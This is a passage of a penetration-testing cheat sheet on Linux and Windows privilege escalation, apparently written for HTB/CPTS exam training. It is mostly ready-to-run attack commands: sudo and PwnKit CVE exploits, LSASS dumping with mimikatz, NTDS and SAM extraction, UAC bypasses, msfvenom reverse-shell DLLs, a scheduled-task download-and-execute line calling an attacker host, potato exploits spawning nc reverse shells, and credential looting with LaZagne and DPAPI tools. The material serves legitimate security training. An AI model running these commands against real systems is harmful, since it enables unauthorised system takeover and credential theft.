932 cat /etc/lsb-release; ./sudo-hax-me-a-sandwich 1 # 1 = Focal/sudo1.8.31 etc. 933 934 # ── CVE-2019-14287 (< 1.8.28): a lone `(ALL) /usr/bin/id`-style grant → run as UID -1 = 0 ── 935 sudo -u#-1 /usr/bin/<the_allowed_binary> # works when the allowed binary can spawn a shell 936 937 # ── PwnKit CVE-2021-4034: needs only SUID pkexec, no sudo/group at all ── 938 git clone https://github.com/arthepsy/CVE-2021-4034 && cd CVE-2021-4034 939 gcc cve-2021-4034-poc.c -o poc && ./poc 940 941 # ── sudoedit CVE-2023-22809: `sudo -l` shows sudoedit/`-e` → smuggle an extra file to edit ── 942 export EDITOR='vi -- /etc/sudoers' # or /etc/passwd 943 sudoedit /the/allowed/file # opens /etc/sudoers too → add NOPASSWD: ALL 944 ``` 945 946 > [!warning] Watch out 947 > The Baron Samedit heap offsets are **tuned per distro/sudo/libc** — a mismatched index can hang or crash the box, so match `/etc/lsb-release` exactly, and run the non-destructive `sudoedit -s` detector first. `tcpdump -z` postrotate (STAGE 9 §2) is now blocked by **AppArmor** on newer distros — check `aa-status`. Full CVE table: 5 - Sudo Rights & Privileged Group Abuse. 948 949 #### J — Overlooked groups & shared sessions (`disk` · `adm` · `tmux`) 950 951 **What to look for:** supplementary groups in `id` beyond `sudo/docker/lxd`, and root-owned tmux/screen sockets I can attach to (mechanics in §9 above). 952 953 ```bash 954 id # disk? adm? and any *-writable socket 955 ps aux | grep -E 'tmux|screen' # root session on a custom socket? 956 ``` 957 ```bash 958 # ── disk group: raw block-device access → read/write the whole FS with debugfs ── 959 debugfs -w /dev/sda1 # debugfs> cat /root/.ssh/id_rsa (or write a SUID) 960 # ── adm group: read every /var/log — creds, cron activity, tokens leaked to logs ── 961 grep -riE 'pass|token|secret' /var/log 2>/dev/null 962 # ── tmux socket hijack: group-writable root session → just reattach ── 963 ls -la /shareds # srw-rw---- root devs, and I'm in devs 964 tmux -S /shareds # drops me straight into root's live shell 965 ``` 966 967 > [!tip] `disk` and `adm` never touch `/etc/sudoers` yet `disk` is effectively root (raw FS) and `adm` is a credential goldmine — always read `id` for *unfamiliar* groups, not just `sudo`. A root tmux/screen socket that's group-writable needs **zero exploit code** — attaching inherits root's running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist. 968 ### 🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix) 969 970 The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. 971 972 #### The token-privilege matrix (map the priv → the technique) 973 974 **What to look for:** any of these in `whoami /priv`, even `Disabled`. Windows ships no cmdlet to flip a Disabled priv on — a scripted `AdjustTokenPrivileges` helper (`EnableAllTokenPrivs`, `Enable-Privilege.ps1`, or the tool's own self-enable) does it. (Summary table is §2 above; this is the deep-dive.) 975 976 ```powershell 977 whoami /priv 978 [environment]::OSVersion.Version # build → picks potato/UACMe technique 979 ``` 980 981 | Privilege | Source acct (typical) | Technique | Tool | 982 |---|---|---|---| 983 | `SeImpersonate` / `SeAssignPrimaryToken` | IIS AppPool, MSSQL, `NETWORK/LOCAL SERVICE` | coerce a SYSTEM component → steal token | potato family (§3) | 984 | `SeDebug` | dev accounts, misassigned GPO | dump LSASS **or** steal a SYSTEM proc token | procdump+mimikatz / psgetsys | 985 | `SeTakeOwnership` | backup/VSS-adjacent svc accts | own any securable object, then re-ACL it | `takeown` + `icacls` | 986 | `SeBackup` / `SeRestore` | Backup/Server Operators | ACL-bypass read (backup semantics) → NTDS/SAM | robocopy `/B`, diskshadow, DSInternals | 987 | `SeManageVolume` | some service accounts | grant `Users` full control of `C:\` → DLL hijack | SeManageVolumeExploit | 988 | `SeLoadDriver` | Print Operators | BYOVD — load a vulnerable signed driver | EoPLoadDriver + Capcom.sys | 989 990 > [!note] `whoami /groups` matters as much as `/priv`. Membership in **Backup Operators / Server Operators / Print Operators / DnsAdmins** hands you `SeBackup`/`SeRestore`/`SeLoadDriver` etc. and is Domain-Admin-equivalent on the resources it touches — see the built-in-group section above and 4 - Privilege Abuse via Built-in Groups (SeDebug, SeTakeOwnership, DnsAdmins & More). 991 992 #### SeDebugPrivilege → LSASS dump or direct SYSTEM token theft 993 994 **What to look for:** `SeDebugPrivilege` present (Administrators by default, but handed to developers via *Debug programs* GPO). It lets you open **any** process — exactly what LSASS reading and token theft need. Do **not** migrate into `lsass` (you'll destabilise it); dump it offline or steal a *different* SYSTEM process's token. 995 996 ```powershell 997 whoami /priv | findstr /i SeDebug 998 tasklist | findstr /i "winlogon lsass" # note a SYSTEM PID (winlogon is reliable) 999 ``` 1000 ```batch 1001 :: ── (a) dump LSASS offline → creds via mimikatz on my box ── 1002 procdump.exe -accepteula -ma lsass.exe lsass.dmp 1003 :: no upload? Task Manager → Details → lsass.exe → Create dump file 1004 :: LOLBAS one-liner (comsvcs.dll MiniDump), no procdump needed: 1005 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full 1006 ``` 1007 ```text 1008 mimikatz # sekurlsa::minidump lsass.dmp 1009 mimikatz # log 1010 mimikatz # sekurlsa::logonpasswords 1011 ``` 1012 ```powershell 1013 # ── (b) skip creds entirely — inherit a SYSTEM proc's token → spawn cmd ── 1014 .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","") 1015 # the trailing "" third arg is REQUIRED. Swap winlogon for lsass if you prefer. 1016 ``` 1017 1018 > [!warning] Watch out 1019 > The `comsvcs.dll` MiniDump one-liner and `procdump -ma lsass` are both heavily signatured (Event 4688 + Defender ASR "block credential stealing from LSASS"). Token theft via `psgetsys` touches no cred store and is quieter. On a box with LSA Protection (`RunAsPPL=1`) a plain minidump fails — you'd need a driver/`mimikatz !+` route, out of scope for a quick win. 1020 1021 #### SeTakeOwnershipPrivilege → own any file, then read it 1022 1023 **What to look for:** `SeTakeOwnershipPrivilege` — grants `WRITE_OWNER` over *any* securable object. Common on a backup/VSS service account alongside `SeBackup`/`SeSecurity` without full local admin. 1024 1025 ```powershell 1026 # find the juicy target — owner shows as unreadable = too tight to read directly 1027 Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,@{N="Owner";E={(Get-Acl $_.FullName).Owner}} 1028 ``` 1029 ```batch 1030 takeown /f "C:\Department Shares\Private\IT\cred.txt" 1031 icacls "C:\Department Shares\Private\IT\cred.txt" /grant %USERNAME%:F 1032 type "C:\Department Shares\Private\IT\cred.txt" 1033 ``` 1034 1035 High-value targets for this: `web.config`, `%WINDIR%\repair\{sam,system,security}`, `%WINDIR%\system32\config\*.sav`, `.kdbx`, `.vhdx`, any `pass*`/`cred*` file. 1036 1037 > [!warning] Watch out 1038 > `takeown` alone does **not** grant read — expect `Access denied` on `type` until the `icacls /grant` runs (two-step). An explicit **Deny** ACE still blocks you. Revert ownership + ACL afterward (`icacls /setowner`, remove the grant) and document it — this is a loud, hard-to-fully-undo change. 1039 1040 #### SeBackup / SeRestore → NTDS *or* local SAM (beyond `robocopy /B`) 1041 1042 **What to look for:** `SeBackupPrivilege` (read past any DACL via `FILE_FLAG_BACKUP_SEMANTICS`) + `SeRestorePrivilege` (write past it, and set owners). The `robocopy /B` + `reg save` route is in the Backup Operators block above — these are the alternates for when a file is *locked* (NTDS) or you want targeted extraction. 1043 1044 ```powershell 1045 # enable the priv in-session first (it flips Disabled→Enabled) 1046 Import-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dll 1047 Set-SeBackupPrivilege; Get-SeBackupPrivilege 1048 ``` 1049 ```text 1050 # Diskshadow interactive prompt: snapshot the locked NTDS volume 1051 C:\> diskshadow.exe 1052 DISKSHADOW> set context persistent 1053 DISKSHADOW> begin backup 1054 DISKSHADOW> add volume C: alias cdrive 1055 DISKSHADOW> create 1056 DISKSHADOW> expose %cdrive% E: 1057 DISKSHADOW> end backup 1058 ``` 1059 1060 ```powershell 1061 # Copy the locked database through the exposed shadow volume. 1062 Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit 1063 ``` 1064 1065 ```batch 1066 :: Export the SYSTEM hive from an elevated Command Prompt. 1067 reg save HKLM\SYSTEM C:\Temp\SYSTEM 1068 ``` 1069 ```powershell 1070 # ── targeted, on-host, no Linux hop: pull one account straight out of ntds.dit (DSInternals) ── 1071 Import-Module .\DSInternals.psd1 1072 $key = Get-BootKey -SystemHivePath .\SYSTEM 1073 Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key 1074 ``` 1075 ```batch 1076 :: On a member server or workstation, export the local SAM and SYSTEM hives. 1077 reg save HKLM\SAM C:\Temp\SAM 1078 reg save HKLM\SYSTEM C:\Temp\SYSTEM 1079 ``` 1080 1081 ```bash 1082 # Parse the copied hives or NTDS database offline from Linux. 1083 impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL # whole domain 1084 impacket-secretsdump -sam SAM -system SYSTEM LOCAL # local hashes 1085 ``` 1086 1087 > [!tip] `Copy-FileSeBackupPrivilege` needs the two `SeBackupPrivilege*.dll`s uploaded; `robocopy /B` (in the Backup Operators block) does the same with only native binaries — reach for it when third-party files are blocked. [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) is the PowerShell toolkit for on-host NTDS parsing. A `.vhd/.vhdx/.vmdk` on a backup share is the tool-free version of this whole chain: mount it (`guestmount -a disk.vmdk -i --ro /mnt` on Linux, or Disk Mgmt → *Attach VHD*) and `secretsdump ... LOCAL` its `Config\` hives — see 15 - Scheduled Tasks, Description Fields & Mounting Disks. 1088 1089 #### SeManageVolume → arbitrary write to `C:\` → DLL hijack chain 1090 1091 **What to look for:** `SeManageVolumePrivilege` **Enabled** (seen on the MSSQL virtual service account in 3 - Windows Privileges & Impersonation Attacks (JuicyPotato, PrintSpoofer)). It's abusable into a full-control ACL over `C:\`, which becomes SYSTEM via a DLL a privileged process loads. 1092 1093 ```powershell 1094 whoami /priv | findstr /i SeManageVolume 1095 ``` 1096 ```batch 1097 :: SeManageVolumeExploit.exe (CsEnox) grants BUILTIN\Users full control of C:\ recursively 1098 .\SeManageVolumeExploit.exe 1099 :: now drop a hijack DLL where a SYSTEM process/service resolves it (e.g. a missing 1100 :: DLL under C:\Windows\System32 that a scheduled task / service loads), then trigger it 1101 ``` 1102 1103 > [!warning] Watch out 1104 > This is a two-stage primitive — SeManageVolume only gives you the *write*; you still need a SYSTEM process that loads a DLL from a now-writable path (pair with the DLL-hijack discovery below). Granting `Users` full control of `C:\` is extremely noisy and hard to fully revert — get sign-off and restore the ACL after proving it. 1105 1106 #### Service & application DLL hijacking (proxy vs invalid-library) 1107 1108 **What to look for:** a service running as SYSTEM (`sc qc <svc>` → `LocalSystem`) whose own folder is writable, or that searches for a DLL it never ships. Code execution follows whatever process loads the DLL — hijack a **SYSTEM** service and it's privesc, not just RCE. Search-order table is in §6 above. Full walkthrough: 9 - DLL Hijacking. 1109 1110 ```powershell 1111 # ── discovery: PowerUp finds writable-PATH and hijackable-process DLL slots ── 1112 Import-Module .\PowerUp.ps1 1113 Find-PathDLLHijack ; Find-ProcessDLLHijack 1114 # ── manual: Process Monitor, filter the target EXE, then either ── 1115 # Operation is 'Load Image' → a DLL it loads by unqualified name from its own dir (proxy target) 1116 # Path ends with '.dll' AND Result is 'NAME NOT FOUND' → a DLL it wants but never finds (free win) 1117 # static triage without running it: 1118 dumpbin /imports C:\Path\to\service.exe # or PE Explorer / Process Explorer 1119 icacls "C:\Program Files\VulnApp" # is the app's own folder writable? 1120 ``` 1121 ```bash 1122 # ── invalid-library hijack: app looks for x.dll, never finds it, you own 100% of it ── 1123 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o x.dll 1124 # rename to the exact missing name, drop in the app's own writable dir, restart the svc 1125 ``` 1126 1127 > [!tip] Two flavours: **proxying** re-exports the real functions (load `library.o.dll`, call through, run your payload) so the app keeps working — quiet, hard to spot. **Invalid-library** fills a `NAME NOT FOUND` gap — total control, no functionality to preserve, but more conspicuous if the missing DLL was supposed to do something visible. `DllMain`'s `DLL_PROCESS_ATTACH` is where the payload fires. 1128 1129 > [!warning] Watch out 1130 > Safe DLL Search Mode (on by default) pushes the *current working directory* below `System32`, but the **application's own directory is always searched first** — that's what keeps hijacking alive on a patched box. A hijack in a user-context app is same-privilege RCE, worthless for escalation; always tie it back to the loading process's account before spending time on it. 1131 1132 #### UAC bypass (fodhelper · srrstr · eventvwr · CVE-2019-1388) 1133 1134 **What to look for:** I'm in the local Administrators group but `whoami /priv` shows only a standard-user token (split-token / medium integrity). Confirm UAC is on and how strict, then match a UACMe technique to the exact build. Full worked example: 5 - User Account Control (UAC) Bypass. MITRE [T1548.002](https://attack.mitre.org/techniques/T1548/002/). 1135 1136 ```batch 1137 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA 1138 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin 1139 :: EnableLUA 0x1 = on. ConsentPromptBehaviorAdmin 0x5 ("Always notify") = strictest, kills most techniques. 1140 ``` 1141 ```batch 1142 :: ── fodhelper.exe — classic fileless auto-elevate, no DLL on disk ── 1143 reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Windows\Temp\rev.exe" /f 1144 reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f 1145 fodhelper.exe 1146 :: ── eventvwr.exe variant (same idea, different hijacked class) ── 1147 reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Windows\Temp\rev.exe" /f & eventvwr.exe 1148 :: cleanup: reg delete both keys /f 1149 ``` 1150 ```bash 1151 # ── DLL-search UACMe technique 54 (build ≥14393): auto-elevating SystemPropertiesAdvanced.exe ── 1152 msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > srrstr.dll 1153 # drop into the user-writable, PATH-listed WindowsApps folder, then run the 32-bit binary: 1154 # %LOCALAPPDATA%\Microsoft\WindowsApps\srrstr.dll → C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe 1155 ``` 1156 1157 > [!warning] Watch out 1158 > UAC is **not a security boundary** to Microsoft — bypasses are build-specific flaws, so check `[environment]::OSVersion.Version` and consult the [UACMe](https://github.com/hfiref0x/UACME) table for a technique that matches. `ConsentPromptBehaviorAdmin=0x5` rules out most registry-hijack techniques (they rely on default `0x2`). RID-500 built-in Administrator always runs high-integrity regardless. **CVE-2019-1388** (patched Nov 2019) is the GUI fallback on unpatched boxes: *Run as admin* a Microsoft-signed binary with a populated `SpcSpAgencyInfo` cert field (`hhupd.exe`) → *Show publisher cert* → click the **Issued by** hyperlink → a SYSTEM browser opens → *Save As* → type `c:\windows\system32\cmd.exe` → SYSTEM shell. 1159 1160 #### Scheduled-task script abuse 1161 1162 **What to look for:** a task set to **Run As** SYSTEM/a privileged account that invokes a script or binary in a folder *my* user can write to. Standard users can't read `C:\Windows\System32\Tasks`, so lean on writable-folder discovery, not the task list. 1163 1164 ```powershell 1165 schtasks /query /fo LIST /v # run-as acct, schedule, last result 1166 Get-ScheduledTask | select TaskName,State 1167 Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile # automated find 1168 .\accesschk64.exe /accepteula -s -d C:\Scripts\ # RW BUILTIN\Users on a task's script dir? 1169 ``` 1170 ```powershell 1171 # ── append a callback to the writable script → runs as the task's account on next fire ── 1172 Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')" 1173 # then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>" 1174 ``` 1175 1176 > [!tip] This is a *plant-and-check-back* technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks: `Get-LocalUser` (Description field) and `Get-WmiObject Win32_OperatingSystem | select Description` (computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE [T1053.005](https://attack.mitre.org/techniques/T1053/005/). 1177 1178 #### Registry autorun (Win32_StartupCommand) 1179 1180 **What to look for:** an autorun binary launched at another user's logon whose file — or the `Run` key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the *executable* being hijackable. 1181 1182 ```powershell 1183 Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl 1184 Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun 1185 ``` 1186 ```batch 1187 :: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload 1188 copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe" 1189 ``` 1190 1191 > [!note] Cross-reference the `User` column against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin's logon is the win. HKLM `Run` entries fire for whoever logs on next. 1192 1193 #### Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi) 1194 1195 **What to look for:** everywhere Windows and apps stash reusable secrets beyond the `cmdkey`/AutoLogon/PS-history basics above. Re-run this **after every priv gain** — profiles unreadable before become readable. One-pass looters: [LaZagne](https://github.com/AlessandroZ/LaZagne) (staged: [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))) and [SessionGopher](https://github.com/Arvanaghi/SessionGopher). Full index: [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts. 1196 1197 ```batch 1198 :: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ── 1199 vaultcmd /list 1200 vaultcmd /listcreds:"Windows Credentials" /all 1201 vaultcmd /listcreds:"Web Credentials" /all 1202 :: ── PuTTY proxy creds sit in cleartext in HKCU ── 1203 reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name> :: ProxyUsername / ProxyPassword 1204 :: ── Wi-Fi PSKs (needs local admin) ── 1205 netsh wlan show profile <ssid> key=clear 1206 ``` 1207 ```powershell 1208 # ── DPAPI-protected material — decrypts transparently AS the originating user ── 1209 $c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password # PS credential object 1210 .\SharpChrome.exe logins /unprotect # browser saved logins 1211 .\SharpDPAPI.exe triage # masterkeys + creds + vaults 1212 gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass # typed-in-wrong-field 1213 # ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ── 1214 Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough 1215 # ── one-pass everything ── 1216 .\LaZagne.exe all 1217 ``` 1218 ```bash 1219 # ── KeePass DB found → crack offline ── 1220 keepass2john help_desk.kdbx > kp.hash 1221 hashcat -m 13400 kp.hash rockyou.txt 1222 # ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ── 1223 strings plum.sqlite-wal | grep -iE "pass|user" # or: SELECT Text FROM Note (PSSQLite / DB Browser) 1224 ``` 1225 1226 > [!warning] Watch out 1227 > DPAPI ties decryption to the **originating user + machine** — `Import-Clixml`, SharpChrome, and vault creds only decrypt when you run *as that user* (or have their DPAPI masterkey / the domain backup key). Don't waste time trying to decrypt another user's blob from your own context. `unattend.xml` / `sysprep.xml` (search `C:\Windows\Panther`, `C:\Windows\System32\Sysprep`) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment. 1228 1229 #### GPP cpassword (SYSVOL) — the domain-wide freebie 1230 1231 **What to look for:** on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (`Groups.xml`, `Services.xml`, `ScheduledTasks.xml`, `DataSources.xml`) with a `cpassword` attribute. Microsoft published the AES key, so it's reversible, not cracked. 1232 1233 ```bash 1234 # ── over SMB from the attack box ── 1235 nxc smb $DC -u "$U" -p "$P" -M gpp_password 1236 # ── or manually: find the XML, decrypt ── 1237 findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml 1238 gpp-decrypt <cpassword_blob> 1239 ``` 1240 1241 > [!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy `Groups.xml` files persist for years. 1242 1243 #### Potato selection matrix — pick by OS build, not by habit 1244 1245 **What to look for:** `SeImpersonate` (or `SeAssignPrimaryToken`) confirmed. All potatoes are the *same* `SeImpersonate` abuse — they differ only in **how** they coerce a SYSTEM component to authenticate to a listener. Check the build first: `[environment]::OSVersion.Version` / `systeminfo`. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above. 1246 1247 | Variant | Coercion mechanism | Use when | Fails when | 1248 |---|---|---|---| 1249 | **JuicyPotato** | DCOM/NTLM reflection (needs a working CLSID) | Server ≤2016 / Win10 <1809 | **dead** on Server 2019+ / Win10 1809+ (DCOM path patched) | 1250 | **PrintSpoofer** | Print Spooler RPC (`spoolss` named pipe) | Spooler running (any build incl. 2019/2022) | Spooler disabled (post-PrintNightmare GPO) | 1251 | **RoguePotato** | OXID resolver relayed via a redirector on `135` | Spooler disabled but you can stand up the OXID redirector | outbound `135` blocked / no redirector | 1252 | **GodPotato** | DCOM (RPC/DCOM, newer CLSID path) | **broadest** — Server 2012→2022, Win8→11, no Spooler needed | rare; try first if others fail | 1253 | **SweetPotato / DCOMPotato** | bundles several of the above | want auto-fallback across methods | — | 1254 1255 ```batch 1256 :: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser): 1257 JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t * 1258 :: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135 1259 RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999 1260 ``` 1261 1262 > [!warning] Watch out 1263 > The potato binary itself is quiet; the loud part is the SYSTEM `cmd`/`powershell` spawned from `w3wp.exe`/`sqlservr.exe` (Event 4688) and the `SeImpersonate`/`SeDebug` grant tripping Event 4672. If a variant fails, it's almost always the **coercion vector** missing (Spooler off, DCOM patched, `135` blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler's up, RoguePotato when it isn't, JuicyPotato only on legacy. 1264 1265 --- 1266 1267 --- 1268 1269 ### 🧭 CPTS tips & pitfalls (both platforms) 1270 1271 - **Re-enumerate after every privilege gain.** New group membership / new shell = new readable files, new `sudo -l`, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue. 1272 - **The enum script is a hint engine, not an answer.** LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don't trust a *clean* auto-enum — it can't see what perms hide (that's what pspy and manual `sudo -l`/`whoami /all` catch). 1273 - **Match payload architecture**: `uname -m` before pspy32/pspy64; check installed .NET (`reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release`) before picking GodPotato-NET35 vs -NET4. 1274 - **Interactive-shell assumptions break in CTF/service contexts**: potatoes and `sc` work fine from `xp_cmdshell`/webshell contexts, but anything needing a *window station* (UAC GUI tricks, some `runas`) needs a real session. 1275 - **Common time-wasters:** chasing an unquoted service path you can't restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user's DPAPI blob, planting a SUID shell on a `nosuid` mount. 1276 - **Document as you go** — every changed binpath, added user, dropped DLL, edited unit file is a report artifact *and* a cleanup item. See [Stage 11](/sheets/pentest-workflow/documentation-and-reporting). 1277 - **Cron PATH vs shell PATH:** cron jobs run with the `PATH=` line *inside* `/etc/crontab` (or the daemon default), not your interactive PATH — a writable dir only matters if it's on *that* PATH and the job uses a relative binary name (§5/§A). 1278 - **Capabilities beat file perms for stealth:** nothing changes in `ls -l`; defenders auditing only SUID bits miss `setcap` binaries. Offensively: always run `getcap -r /` — defensively: it's a finding worth reporting. 1279 - **Potato hygiene:** run the potato `-cmd` once with a *payload* (add-user / nc callback), not `whoami` — every execution spawns the loud SYSTEM child process (4688); make the first shot count. 1280 - **Check `/etc/exports` on the target, `showmount -e` from outside** — NFS exports visible externally aren't always the ones you're in scope to mount; and `no_root_squash` is the only flag that matters for privesc (§C). 1281 - **Password reuse closes more chains than exploits do.** Every cleartext find (history, unattend.xml, web.config, `groups.xml`) goes straight into the spray list for Stage 08/Stage 10. 1282 1283 > [!example] Worked mini-chain (typical CPTS box) 1284 > Web shell as `www-data` → `sudo -l` shows `(backup) NOPASSWD: /usr/bin/tar` → GTFOBins tar-sudo → shell as `backup` → `backup` is in `disk` group → `debugfs` reads `/root/.ssh/id_rsa` → `ssh -i` as root. Three hops, zero CVEs, all from the decision tables above. 1285 1286 > [!success] Stage 9 exit checklist 1287 > - [ ] `sudo -l` / `whoami /priv` + `/groups` answered, decision tables walked 1288 > - [ ] Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually 1289 > - [ ] Cron/scheduled-task writable-path chains checked end-to-end (`namei` / accesschk on every component) 1290 > - [ ] Capabilities (`getcap -r /`) and group memberships (`id` / `whoami /groups`) reviewed for the non-obvious ones (`disk`, `adm`, `Event Log Readers`, `Hyper-V Administrators`) 1291 > - [ ] Every gained privilege re-looted (SSH keys, hives, creds — see [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)) 1292 > - [ ] Kernel exploits only after misconfigs exhausted, with stability risk noted 1293 > - [ ] Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/`--checkpoint*` files, restore ACLs/ownership, remove `ServerLevelPluginDll` 1294 > - [ ] Artifacts + evidence documented for [Stage 11](/sheets/pentest-workflow/documentation-and-reporting) 1295 1296 --- 1297 1298 > [!navigation] Continue the attack flow 1299 > **Previous:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) 1300 > 1301 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 1302 > 1303 > **Next:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)